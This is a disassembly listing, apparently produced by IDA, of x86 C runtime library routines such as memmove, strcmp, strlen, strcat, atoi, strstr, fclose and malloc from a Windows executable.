; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_417400
		dd offset loc_41742C
		dd offset loc_417450
; ---------------------------------------------------------------------------

loc_417400:				; DATA XREF: sub_417390+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41742C:				; DATA XREF: sub_417390+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_417450:				; DATA XREF: sub_417390+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41746C	dd offset loc_4174CF	; DATA XREF: sub_417390:loc_4173ECr
		dd offset loc_4174BC
		dd offset loc_4174B4
		dd offset loc_4174AC
		dd offset loc_4174A4
		dd offset loc_41749C
		dd offset loc_417494
		dd offset loc_41748C
; ---------------------------------------------------------------------------

loc_41748C:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_417494:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41749C:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_4174A4:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_4174AC:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_4174B4:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_4174BC:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_4174CF:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390:off_41746Co
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4174D8	dd offset loc_4174E8	; DATA XREF: sub_417390+35r
					; sub_417390+92r ...
		dd offset loc_4174F0
		dd offset loc_4174FC
		dd offset loc_417510
; ---------------------------------------------------------------------------

loc_4174E8:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_4174F0:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4174FC:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_417510:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_417528:				; CODE XREF: sub_417390+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41755C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_417550:				; CODE XREF: sub_417390+1B1j
					; sub_417390+208j ...
		neg	ecx
		jmp	off_417620[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41755C:				; CODE XREF: sub_417390+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_417574
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_417574+4[eax*4]
; ---------------------------------------------------------------------------

loc_417574:				; CODE XREF: sub_417390+1D6j
					; DATA XREF: sub_417390+1DDr
		jmp	off_417670[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	[ebp+arg_39], dh
		add	[eax-2FFFBE8Bh], ch
		jnz	short loc_4175C8
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld

loc_4175C8:				; CODE XREF: sub_417390+1F5j
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_417624
		dd offset loc_41762C
		dd offset loc_417634
		dd offset loc_41763C
		dd offset loc_417644
		dd offset loc_41764C
		dd offset loc_417654
off_417620	dd offset loc_417667	; DATA XREF: sub_417390+1C2r
; ---------------------------------------------------------------------------

loc_417624:				; DATA XREF: sub_417390+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41762C:				; DATA XREF: sub_417390+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_417634:				; DATA XREF: sub_417390+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41763C:				; DATA XREF: sub_417390+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_417644:				; DATA XREF: sub_417390+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41764C:				; DATA XREF: sub_417390+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_417654:				; DATA XREF: sub_417390+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_417667:				; CODE XREF: sub_417390+1C2j
					; DATA XREF: sub_417390:off_417620o
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_417670	dd offset loc_417680	; DATA XREF: sub_417390+1B7r
					; sub_417390:loc_417574r ...
		dd offset loc_417688
		dd offset loc_417698
		dd offset loc_4176AC
; ---------------------------------------------------------------------------

loc_417680:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_417688:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_417698:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4176AC:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_417390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4176D0	proc near		; CODE XREF: sub_4010B5+FCp
					; sub_4010B5+118p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41771C

loc_4176E0:				; CODE XREF: sub_4176D0+3Cj
					; sub_4176D0+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+1]
		jnz	short loc_417714
		or	ah, ah
		jz	short loc_417710
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+3]
		jnz	short loc_417714
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_4176E0
		mov	edi, edi

loc_417710:				; CODE XREF: sub_4176D0+18j
					; sub_4176D0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_417714:				; CODE XREF: sub_4176D0+14j
					; sub_4176D0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41771C:				; CODE XREF: sub_4176D0+Ej
		test	edx, 1
		jz	short loc_417738
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_417714
		inc	ecx
		or	al, al
		jz	short loc_417710
		test	edx, 2
		jz	short loc_4176E0

loc_417738:				; CODE XREF: sub_4176D0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+1]
		jnz	short loc_417714
		or	ah, ah
		jz	short loc_417710
		add	ecx, 2
		jmp	short loc_4176E0
sub_4176D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417760	proc near		; CODE XREF: sub_4010B5+19Ep
					; sub_401A76+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_417779
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_417779:				; CODE XREF: sub_417760+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_417760	endp


; =============== S U B	R O U T	I N E =======================================



sub_417794	proc near		; CODE XREF: sub_41781F+4p
					; sub_42094E+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]

loc_41779C:				; CODE XREF: sub_417794+34j
		cmp	dword_4397AC, 1
		jle	short loc_4177B4
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_4177C3
; ---------------------------------------------------------------------------

loc_4177B4:				; CODE XREF: sub_417794+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_4395A0
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_4177C3:				; CODE XREF: sub_417794+1Ej
		test	eax, eax
		jz	short loc_4177CA
		inc	edi
		jmp	short loc_41779C
; ---------------------------------------------------------------------------

loc_4177CA:				; CODE XREF: sub_417794+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_4177DA
		cmp	esi, 2Bh
		jnz	short loc_4177DE

loc_4177DA:				; CODE XREF: sub_417794+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi

loc_4177DE:				; CODE XREF: sub_417794+44j
		xor	ebx, ebx

loc_4177E0:				; CODE XREF: sub_417794+7Bj
		cmp	dword_4397AC, 1
		jle	short loc_4177F5
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_417800
; ---------------------------------------------------------------------------

loc_4177F5:				; CODE XREF: sub_417794+53j
		mov	eax, off_4395A0
		mov	al, [eax+esi*2]
		and	eax, 4

loc_417800:				; CODE XREF: sub_417794+5Fj
		test	eax, eax
		jz	short loc_417811
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_4177E0
; ---------------------------------------------------------------------------

loc_417811:				; CODE XREF: sub_417794+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41781A
		neg	eax

loc_41781A:				; CODE XREF: sub_417794+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_417794	endp


; =============== S U B	R O U T	I N E =======================================



sub_41781F	proc near		; CODE XREF: sub_4013EC+12p
					; sub_4013EC+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_417794
		pop	ecx
		retn
sub_41781F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41782A	proc near		; CODE XREF: sub_40144A+318p
					; sub_401D82+460p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_417869
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_417876
; ---------------------------------------------------------------------------

loc_417869:				; CODE XREF: sub_41782A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx

loc_417876:				; CODE XREF: sub_41782A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41782A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417880	proc near		; CODE XREF: sub_401D82+2D8p
					; sub_401D82+2F8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_4178FA
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_4178E7

loc_417898:				; CODE XREF: sub_417880+52j
					; sub_417880+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_4178BA
		test	al, al
		jz	short loc_4178B4

loc_4178A9:				; CODE XREF: sub_417880+32j
		mov	al, [esi]
		inc	esi

loc_4178AC:				; CODE XREF: sub_417880+3Fj
		cmp	al, dl
		jz	short loc_4178BA
		test	al, al
		jnz	short loc_4178A9

loc_4178B4:				; CODE XREF: sub_417880+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4178BA:				; CODE XREF: sub_417880+23j
					; sub_417880+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_4178AC
		lea	edi, [esi-1]

loc_4178C4:				; CODE XREF: sub_417880+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_4178F3
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_417898
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_4178F3
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_4178C4
		jmp	short loc_417898
; ---------------------------------------------------------------------------

loc_4178E7:				; CODE XREF: sub_417880+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_418F56
; ---------------------------------------------------------------------------

loc_4178F3:				; CODE XREF: sub_417880+49j
					; sub_417880+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_4178FA:				; CODE XREF: sub_417880+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_417880	endp


; =============== S U B	R O U T	I N E =======================================



sub_417900	proc near		; CODE XREF: sub_4022C6+94p
					; sub_405A58+7Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_417915
		or	eax, 0FFFFFFFFh
		jmp	short loc_41794F
; ---------------------------------------------------------------------------

loc_417915:				; CODE XREF: sub_417900+Ej
		test	al, 83h
		jz	short loc_41794D
		push	esi
		call	sub_41A7D0
		push	esi
		mov	edi, eax
		call	sub_41A76A
		push	dword ptr [esi+10h]
		call	sub_41A6B7
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41793B
		or	edi, 0FFFFFFFFh
		jmp	short loc_41794D
; ---------------------------------------------------------------------------

loc_41793B:				; CODE XREF: sub_417900+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41794D
		push	eax
		call	sub_417C3B
		and	dword ptr [esi+1Ch], 0
		pop	ecx

loc_41794D:				; CODE XREF: sub_417900+17j
					; sub_417900+39j ...
		mov	eax, edi

loc_41794F:				; CODE XREF: sub_417900+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_417900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417956	proc near		; CODE XREF: sub_4022C6+8Ep
					; sub_40EE72+2B0Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41A8A2
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419E38
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_41A92F
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417956	endp


; =============== S U B	R O U T	I N E =======================================



sub_417988	proc near		; CODE XREF: sub_4179A8+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41AADC
		test	eax, eax
		jnz	short loc_417992
		retn
; ---------------------------------------------------------------------------

loc_417992:				; CODE XREF: sub_417988+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41A96C
		add	esp, 10h
		retn
sub_417988	endp


; =============== S U B	R O U T	I N E =======================================



sub_4179A8	proc near		; CODE XREF: sub_4022C6+54p
					; sub_405A58+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_417988
		add	esp, 0Ch
		retn
sub_4179A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4179C0	proc near		; CODE XREF: sub_405AF2+2BFp
					; sub_40A7D7+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_417A31
sub_4179C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4179D0	proc near		; CODE XREF: sub_4022C6+32p
					; sub_4022C6+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_4179EC

loc_4179DD:				; CODE XREF: sub_4179D0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417A1F
		test	ecx, 3
		jnz	short loc_4179DD

loc_4179EC:				; CODE XREF: sub_4179D0+Bj
					; sub_4179D0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4179EC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417A2E
		test	ah, ah
		jz	short loc_417A29
		test	eax, 0FF0000h
		jz	short loc_417A24
		test	eax, 0FF000000h
		jz	short loc_417A1F
		jmp	short loc_4179EC
; ---------------------------------------------------------------------------

loc_417A1F:				; CODE XREF: sub_4179D0+12j
					; sub_4179D0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------

loc_417A24:				; CODE XREF: sub_4179D0+44j
		lea	edi, [ecx-2]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------

loc_417A29:				; CODE XREF: sub_4179D0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------

loc_417A2E:				; CODE XREF: sub_4179D0+39j
		lea	edi, [ecx-4]

loc_417A31:				; CODE XREF: sub_4179C0+5j
					; sub_4179D0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_417A56

loc_417A3D:				; CODE XREF: sub_4179D0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_417AA8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_417A3D
		jmp	short loc_417A56
; ---------------------------------------------------------------------------

loc_417A51:				; CODE XREF: sub_4179D0+9Ej
					; sub_4179D0+B8j
		mov	[edi], edx
		add	edi, 4

loc_417A56:				; CODE XREF: sub_4179D0+6Bj
					; sub_4179D0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417A51
		test	dl, dl
		jz	short loc_417AA8
		test	dh, dh
		jz	short loc_417A9F
		test	edx, 0FF0000h
		jz	short loc_417A92
		test	edx, 0FF000000h
		jz	short loc_417A8A
		jmp	short loc_417A51
; ---------------------------------------------------------------------------

loc_417A8A:				; CODE XREF: sub_4179D0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_417A92:				; CODE XREF: sub_4179D0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_417A9F:				; CODE XREF: sub_4179D0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_417AA8:				; CODE XREF: sub_4179D0+72j
					; sub_4179D0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_4179D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_417AB0	proc near		; CODE XREF: sub_4023A7+1A7p
					; sub_4023A7:loc_402561p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_417AD0

loc_417ABC:				; CODE XREF: sub_417AB0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417B03
		test	ecx, 3
		jnz	short loc_417ABC
		add	eax, 0

loc_417AD0:				; CODE XREF: sub_417AB0+Aj
					; sub_417AB0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417AD0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417B21
		test	ah, ah
		jz	short loc_417B17
		test	eax, 0FF0000h
		jz	short loc_417B0D
		test	eax, 0FF000000h
		jz	short loc_417B03
		jmp	short loc_417AD0
; ---------------------------------------------------------------------------

loc_417B03:				; CODE XREF: sub_417AB0+11j
					; sub_417AB0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_417B0D:				; CODE XREF: sub_417AB0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_417B17:				; CODE XREF: sub_417AB0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_417B21:				; CODE XREF: sub_417AB0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_417AB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417B30	proc near		; CODE XREF: sub_402688+8p
					; sub_402B84+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_417B50

loc_417B3C:				; CODE XREF: sub_417B30+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_417B3C

loc_417B50:				; CODE XREF: sub_417B30+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_417B30	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B5F	proc near		; CODE XREF: sub_4029E9+7Ap
					; sub_4029E9+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_417B73

loc_417B6B:				; CODE XREF: sub_417B5F+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_417B6B

loc_417B73:				; CODE XREF: sub_417B5F+Aj
		mov	edx, [esp+arg_4]
		push	esi

loc_417B78:				; CODE XREF: sub_417B5F+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_417B78
		pop	esi
		retn
sub_417B5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B89	proc near		; CODE XREF: sub_402B84+220p
					; sub_402DD7+C1p ...

arg_0		= dword	ptr  4

		push	dword_48A074
		push	[esp+4+arg_0]
		call	sub_417B9B
		pop	ecx
		pop	ecx
		retn
sub_417B89	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B9B	proc near		; CODE XREF: sub_417B89+Ap
					; sub_4185F5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_417BC4

loc_417BA2:				; CODE XREF: sub_417B9B+27j
		push	[esp+arg_0]
		call	sub_417BC7
		test	eax, eax
		pop	ecx
		jnz	short locret_417BC6
		cmp	[esp+arg_4], eax
		jz	short locret_417BC6
		push	[esp+arg_0]
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	short loc_417BA2

loc_417BC4:				; CODE XREF: sub_417B9B+5j
		xor	eax, eax

locret_417BC6:				; CODE XREF: sub_417B9B+13j
					; sub_417B9B+19j
		retn
sub_417B9B	endp


; =============== S U B	R O U T	I N E =======================================



sub_417BC7	proc near		; CODE XREF: sub_417B9B+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_48B688
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_417BEB
		cmp	esi, dword_48B680
		ja	short loc_417C1D
		push	esi
		call	sub_41B0DD
		test	eax, eax
		pop	ecx
		jz	short loc_417C1D
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_417BEB:				; CODE XREF: sub_417BC7+Dj
		cmp	eax, 2
		jnz	short loc_417C1D
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_417C00
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_417C03
; ---------------------------------------------------------------------------

loc_417C00:				; CODE XREF: sub_417BC7+2Fj
		push	10h
		pop	esi

